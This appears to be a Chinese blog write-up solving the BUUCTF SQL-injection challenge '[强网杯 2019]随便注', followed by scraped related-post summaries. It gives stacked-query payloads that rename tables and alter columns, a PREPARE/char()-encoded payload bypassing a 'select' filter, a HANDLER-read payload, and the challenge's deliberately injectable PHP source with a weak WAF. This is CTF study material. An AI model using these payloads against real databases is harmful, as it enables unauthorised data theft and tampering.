BUU__[强网杯 2019]随便注_题解

SQL入实战:从原理到CTF靶场通关全解析 SQL入是一种常见的Web安全漏洞,其原理在于应用程序未对用户输入进行充分验证,导致恶意SQL代码被拼接到数据库查询语句中执行。这种攻击技术允许攻击者绕过认证、窃取敏感数据甚至控制数据库服务器,对数据安全构成严重威胁。在CTF竞赛渗透测试中,SQL入是检验Web安全基础的核心技能。通过理解信息_schema系统数据库、掌握UNION查询、布尔盲等关键技术,安全人员能够系统性地进行漏洞探测与利用。本文以BUU SQL COURSE 1靶场为例,详细拆解了从入点判断、字段数探测到最终获取flag的完整 阅读详情
  • 拿到题目,很明显的sql注入题目。
    在这里插入图片描述
  • 尝试语句闭合方式,输入1、1’、1’#判断,结果语句应该为单引号闭合。
  • 再判断列1’ order by1,2,3…–+,发现到3时报错,所以列数位为2。
  • 然后尝试联合注入,1’ union select 1,databases()# 。返回过滤提示。
    在这里插入图片描述
  • 因为发现select被过滤,而且大写、双写也不行,所以盲注不行,报错注入不行。尝试了几种方法后。告辞,是我太菜。
  • 还是看wp才做出来,知识盲区太多了。


  • 这题有三种方法,网上wp大多数只有两种,我找了很多wp后发现了第三种。

一、首先就是堆叠注入

  • 因为没有可以发现过滤show,所以可以。

  • 所谓堆叠注入也就是一次性执行多条sql语句。

  • 局限性很大,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用。

  • 在SQL中,分号(;)是用来表示一条sql语句的结束。 当支持多条sql语句同时执行时,在执行完第一句后,将继续执行(;)后的sql语句,当只支持一条sql语句执行时,将不再执行(;)后的sql语句。

  • 来看具体操作。

     - 1';show databases#      看数据库
    

在这里插入图片描述

  - 1';show tables#      看表

在这里插入图片描述

   -1';show columns from words ;#  或 1';desc words;#     看表words的字段

在这里插入图片描述

 -  1';show columns from `1919810931114514`# 或1';desc `1919810931114514`;#     看表1919810931114514的字段。
 - 这里有一个小细节,1919810931114514必须用反单引号括起来,不然出错,但是words可不需要,
 - 具体为什么,没找到答案,应该是与定义的数据类型有关,字段添加标识符反单引号,值进行转义处理。

在这里插入图片描述

  - 1' or 1=1#    希望展示所有内容
  - 一般SQL代码中会有这copy么一段select * from (表名) where = 变量,
  - 当通过注入后会变成select * from (表名)  where id = 变量 OR 1=1;
  - 就会使百where后面的表达式变成一句可有可无的表达式,因为or前面执行成功,且1=1为真。不会报错
  - 就与select * from (表名)相等然后就可以通过这种句式来取得当前数据表中所有的用户信息答。
  - 但显然失败了,猜测表名应该是words,所以才没有显示flag,所以可能是select * from words where id = 变量

在这里插入图片描述


  • 到这里,就发现,没办法继续下去。

  • 可以看见,表words有两列,列名为 “id” 和 “data” 而表1919810931114514只有一列 “flag” 。

  • 而且可以发现,它是通过 “id” 来索引的,通过输入1时的回显和展示表words的内容可以判断。

  • 而且没有过滤 alter 和 rename。可以修改表名和列名。所以就有了下面的迷人操作,我表示我太菜了。

  • 如果说

      - 我们把表 words 改名为其它,
      - 然后把表 1919810931114514 改名为 words ,
      - 再在表 1919810931114514 插入一列 id ,
      - 或直接将列 flag 改名为 id ,
      - 当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。
    
  • 以上操作确实很可以,以下是payload。

    - 1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#
    
  • 解释一下

    - rename table `words` to `words1`; 修改表 words 改名为其它,
    - rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
    - alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
    - 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
    - 然后再 1' or 1=1# ,展示flag
    

在这里插入图片描述

  • 到这,得到flag,以上就是这种方法的具体操作。
  • 还有就是,关于堆叠注入还有很多内容,这里只是其中一种,详细了解可以自行学习。

====================================================================

二、sql语句预处理

  • 首先,同样的,sql语句预处理有很多内容,这里也只是其中一种,详细了解可以自行学习。

  • 先来了解 一下这里的预处理

    - 在sql语句中,@  用于定义变量。
    - concat(),函数用于字符串拼接。
    - char(),将ASCII码转换为对应的字符。
    - 定义预处理语句 PREPARE stmt_name FROM preparable_stmt; 
    - 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; 
    - 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
    
  • 然后再看一下这里使用的payload。

     - 1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
    
  • 解释一下。

       - 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
       - 然后用concat()拼接成一句完整的sql语句。           
       - 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
    

在这里插入图片描述

  • 得到flag,感觉这种方法更不容易理解。
  • 这种方法在后面看源码发现,其实也过滤了prepare和set,但使用的是strstr(),所以可以用大写绕过,因为它不区分大小写。源码在文章末。

============================================================================

三、通过handler读取数据

  • 这种方法我更是一脸懵。

  • 直接先上payload。

    -  1';handler `1919810931114514` open;handler `1919810931114514` read first#
    

在这里插入图片描述

  • 直接得到flag,太强了。接下来讲讲它。

  • mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • 语法结构:

     - HANDLER tbl_name OPEN [ [AS] alias]
     - HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]
     - HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]
     - HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]
     - HANDLER tbl_name CLOSE
    
  • 如:通过handler语句查询users表的内容

    - handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
    - handler yunensec read first; #读取指定表/句柄的首行数据
    - handler yunensec read next; #读取指定表/句柄的下一行数据
    - handler yunensec read next; #读取指定表/句柄的下一行数据
    -  ...
    -  handler yunensec close; #关闭句柄   
    
  • 引用于:https://xz.aliyun.com/t/7169#toc-47



  • 以上就是这题的三种解法 ,只能说学习之路还很长。
  • 附上题目链接 https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8
  • 持续更新BUU题解,写的不是很好,请指正。

四、最后贴上题目源码。

set="UTF-8">
    <title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre></body></html>
BUUCTF -web- [强网 2019]随便 buuctf的强网2019为例的堆叠 阅读详情

相关推荐

保姆级教程:在PHPStudy环境下复现BUU强网随便’靶场,并亲手实践三种高级

本文详细介绍了在PHPStudy环境下复现BUU强网随便’靶场的保姆级教程,涵盖三种高级SQL入技术:堆叠入、预处理语句HANDLER命令。通过实战演示如何绕过WAF过滤,修改表结构获取flag,适合CTF学习者安全研究人员提升入技巧。

weixin_42520796的博客 373

XCTF-mobile app2

app2-安卓逆向1.提取文件2.分析文件3.分析XML文件4.经过验证得到flag5.其他解法 下载地址:点此下载 1.提取文件 更改app安装包后缀为zip 把这3个文件解压出来 然后使用dex2jar将dex文件转换为jar文件,得到一个jar文件,这个文件中包含了大部分程序逻辑 再使用AXMLPrinter2.jar对AndroidManifest.xml进行解包 2.分析文件 使用JD-GUI分析jar文件 找到MainActivity.clss,因为正常情况下MainActivity是app加载的第一个页面。 可以看到程序获取两个编辑框的内容,通过Intent机制调用S

BUU的SUCTF 2019 Easysql

呜呜呜~~ ~自己已经好久好久都没有做题更新博客辽 加上这次的疫情,感jio整个人都要躺发霉辽!!! 下午闲着没事终于开始了做题 打开题目发现是这样的一个页面 第一步还是老样子 先看看源码是什么样子的 应该是发现不了什么东西 我们发现是post 方法传参 我们可以发现 1;show databases; #查库 1;show tables; #查表 可以发现只有一个Flag...

小白渣的博客 3865

BUUCTF】web之强网2019随便

开始入: 1’ : 报错 1’ #:回显正常 1’ order by 1 #: 正常(经测试列数为2–此处小白暗自窃喜) 1’ union select 1,2#: 回显 如图 看来此方法是行不通了,但经过苦苦寻求,了解到了堆叠入: 库:1’;show databases;# 得到数据库 表:1’;show tables;# 得到俩个表 列:1’;show columns from ‘表名’;# 这里意表名为数字的要加反引号 “ :在网上百度发现 得到 一个带有flag的字段 另一个 可查询的表 flag表:可查询表: 到这里虽然发现flag 但是select已经被ban了所

XCTF-Web-高手区-supersqli

题目 解题 1、使用常规的SQL入操作进行入,我们测试一下单引号 根据返回显示,我们可以判断目标源码中的SQL语句是字符型的,使用单引号闭合 我们本地使用mysql测试如下 2、使用#、--进行测试 发现报错,直接试试编码,将#或--替换为%23或--+ 3、接下来使用order by判断字段数 可以发现,存在两个字段数 4、使用union select判断哪个位置的字段可以进行入 发现存在过滤,将我的语句过滤了 5、使用堆叠入 (1)查看所有数据库名 (2)查看所有表名 (3

1stPeak's Blog 1022

网络安全web方向入门题合集

这是我大三在实习的时候做的一些题目,以后准备搞人工智能方向,应该也不会再接触网安了,就在这里汇总一下之前做的简单题吧,虽然简单但是也用了很多功夫去写这些,提高也很大,以此留作纪念吧。

dra_p0p3n's blogs 5555

BUUCTF-[强网 2019]随便

首先,正常是查words表的数据,我们先将words表重命名成别的,名字任意。查看表的字段信息,发现flag,但是我们没有办法查看flag的内容,我们再看看words表中的数据字段。表改名,改为words,将flag字段改为id,然后在使用万能钥匙爆数据。观察发现,我们查出来的数据,可能就是words表当中的数据,我们可以将。意:表名如为数字时候,使用``引用,否则不能正常查看信息。输入3报错,将3换成2,若不报错,则明该表有2列字段。最后,使用万能钥匙,爆表的数据。正常的提交数据,可查询出信息。

网络空间安全学习 379

buuctf web题解之[强网 2019]随便1详解

目录一、用到的知识点二、堆叠入的原理1.先看是字符型还是数字型2.查看入点3.接下来就是查看闭合方式4.再测试字段数,二分法,一点一点试,最后测试出来为25、联合查询,发现select|update|delete|drop|insert|where包括大小写等操作被过滤6.先通过show databases爆出数据库7.然后用 show tables 爆表8.可以看到这里有两个表,我们先尝试爆words表的内容9.爆1919810931114514数据表字段(意数据表为数字的时候需要用反引号括起来)1

2301_77451464的博客 1476

buuctf web题的wp

首先看到buuctf里的 [HCTF 2018]WarmUp 可以发现这道题是关于PHP代码审计的,好家伙我都不会,有得我学了。 打开链接可以看到一张滑稽脸 那不就直接F12,打开查看器 经过我的仔细观察发现没啥可用的东西,到后面开了题解才发现,oh~,原来要查看这个source.php的源代码(其实前面都了这道题是关于php代码审计的,我居然没反应过来) 好家伙,就算知道了这个思路,我也不知道怎么查看这个php的源代码,经过一番查找,才发现我们只需要将它复制下来,然后在我们这个web题的链接后面加

qq_51439282的博客 704

buuctf解题汇总

另:一般都要先根据报错,来确定是字符型入还是数值型入,关于万能密码,可以看这个。

2301_77451464的博客 454

BUU Web wp[1-8]

BUU CTF Web方向 1-8题

qq_41513009的博客 244

buuctf 0x00

北京联合大学的oj,题目挺多的,赵师傅一直在推荐大家去buuoj玩,今天专门来耍一耍,跟赵师傅学ctf(其实根本不认识赵师傅只知道很强就对了) LFI 题目太多了,随便先找点简单的做算了。。。(太菜了不敢先冲难题) 本地文件包含,访问靶机直接给源码 <?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/7/9 * ...

qq_43871200的博客 551

BUUCTF自习笔记第一页加第二页一道笔记

有这样一道题目: 【极客大挑战 2019HardSQL】 题目描述呢,是一道SQL入题目,本着题目不会在入点设置太大难度的想法,笔者上来先尝试使用or '1' = '1 'or'1'='1这样逻辑判断尝试,结果发现设置了字符被识别判定,一无所获。 做个备份: payload: 获取表名: admin’^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(tab

小学生的博客 2047

强网 2019]随便解题方式

那思路就有了我们可以把19的表变words words变其他在给19外加一列不就可以查了。有报错信息就可以试试报错入了,但是这种ctf题通常会有限制字符所以我使用。有限制这里我们就不能考虑报错入了因为报错入语句需要用select。,报错入,布尔,时间盲就都不可以使用了。这里证明堆叠入可行,我们就继续看看它的表以及列找找flag。这里我列出了12种报错入语句(这里是引用了别人的文章。这里只有一个提交,那我们就先提交看看情况找找思路。这样我们只能根据我们的经验先试试。这里我们就尝试堆叠入。

Lemon_miko的博客 942

buuctf-web-[强网 2019]随便-wp

[强网 2019]随便 源码 (这题本身没有源码,源码是我从网上下载的便于学习) <html> <head> <meta charset="UTF-8"> <title>easy_sql</title> </head> <body> <h1>取材于某次真实环境渗透,只一句话开发安全缺一不可</h1> <!-- sqlmap是没有灵魂的 --> <form

居上 1642

sql入学习分享

点击上方关 “终端研发部”设为“星标”,你一起掌握更多数据库知识WEB框架web应用一改我们平时常见的 p2p C/S 模式,采用 B/S 模式。随着网络技术的发展,特别随着Web技术的不断成熟,B/S 这种软件体系结构出现了。浏览器-服务器(Browser/Server)结构,简称 B/S 结构,与 C/S不同,其客户端不需要安装专门的软件,只需要浏览器即可,浏览器与Web服务器交互,W...

这个时代,作为程序员可能要学习小程序 669

NSSCTF题解

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件删除文件进行竞争。就可以查询出flag。响应中的hash值随着name参数的变化而变化,但又不完全是md5加密的值,这里看提示后,直接构造payload。

网络安全爱好者,分享渗透测试、漏洞复现、src挖掘,靶场搭建知识和技巧 1662

mysql入ctf_Web安全原理剖析-SQL Injection

0x01 预备知识Mysql的相关知识在MySQL 5.0之后,MySQL默认在数据库中存放一个”information_schema”的库,比较重要的三个表名:SCHEMATA、TABLES以及COLUMNS。information_schema.schemata:存储了所有库名。struct该表中记录库名的字段为:SCHEMA_NAME,因此可以如下:-1' union select 1,...

weixin_30069113的博客 1483
上一篇: BUUCTF__[HCTF 2018]WarmUp_题解
下一篇: BUUCTF__[SUCTF 2019]EasySQL_题解
风过江南乱
博客等级 码龄7年 120粉丝 54原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值